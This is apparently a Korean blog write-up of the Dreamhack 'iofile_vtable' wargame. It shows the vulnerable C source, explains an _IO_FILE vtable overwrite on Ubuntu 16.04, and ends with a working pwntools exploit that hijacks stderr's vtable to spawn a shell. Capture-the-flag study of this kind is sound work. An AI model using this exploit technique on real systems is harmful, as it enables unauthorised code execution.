728x90
참고
[Pwnable/FSOP] - [FSOP] _IO_FILE vtable overwrite (~Ubuntu 16.04)
[FSOP] _IO_FILE vtable overwrite (~Ubuntu 16.04)
hannahsecurity.tistory.com
위의 내용을 알아야 풀 수 있당
Ubuntu 16.04이기 때문에 vtable 검증 로직이 존재하지 않아 쉽게 overwrite할 수 있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char name[8];
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
int idx = 0;
int sel;
initialize();
printf("what is your name: ");
read(0, name, 8); //name 8byte만큼 입력
while(1) {
printf("1. print\n");
printf("2. error\n");
printf("3. read\n");
printf("4. chance\n");
printf("> ");
scanf("%d", &sel);
switch(sel) {
case 1:
printf("GOOD\n");
break;
case 2:
fprintf(stderr, "ERROR\n");
break;
case 3:
fgetc(stdin); //stdin에서 글자 하나 받아오기
break;
case 4:
printf("change: ");
read(0, stderr + 1, 8);
break;
default:
break;
}
}
return 0;
}
포인터 자료형 연산 주의 : 포인터에 산술 연산을 하면 가리키는 자료형 크기기준으로 연산하는 것임
read(0, stderr + 1, 8);
stderr+1위치는 stderr가 가리키는 곳에서 FILE 구조체만큼 떨어진 위치로, vtable이 있는 곳.
따라서 위 명령어는 stderr의 vtable 위치 자체를 overwrite할 수 있다.
따라서 name위치에 get_shell 주소를 입력하고, vtable 주소에는 name 주소 - 0x38 해주면 되겠다
0x38은 xsputn의 오프셋이다
from pwn import *
#p=process("./iofile_vtable")
p=remote("host3.dreamhack.games",11039)
context.log_level='debug'
e=ELF("./iofile_vtable")
name=e.symbols["name"]
get_shell=e.symbols["get_shell"]
def error_fp():
p.sendlineafter("> ","2")
def change(data):
p.sendlineafter("> ","4")
p.sendafter("change: ",data)
p.sendafter("what is your name: ",p64(get_shell))
change(p64(name-0x38))
error_fp()
p.interactive()
'Linux Exploitation > Wargame' 카테고리의 다른 글
[드림핵(Dreamhack)] environ (0) | 2023.08.18 |
---|---|
[드림핵(Dreamhack)] ssp_000 (0) | 2023.08.17 |
[Pwnable.kr] passcode (0) | 2023.07.27 |
[드림핵(Dreamhack)] send_sig (0) | 2023.07.25 |
[드림핵(Dreamhack)] master_canary (0) | 2023.07.22 |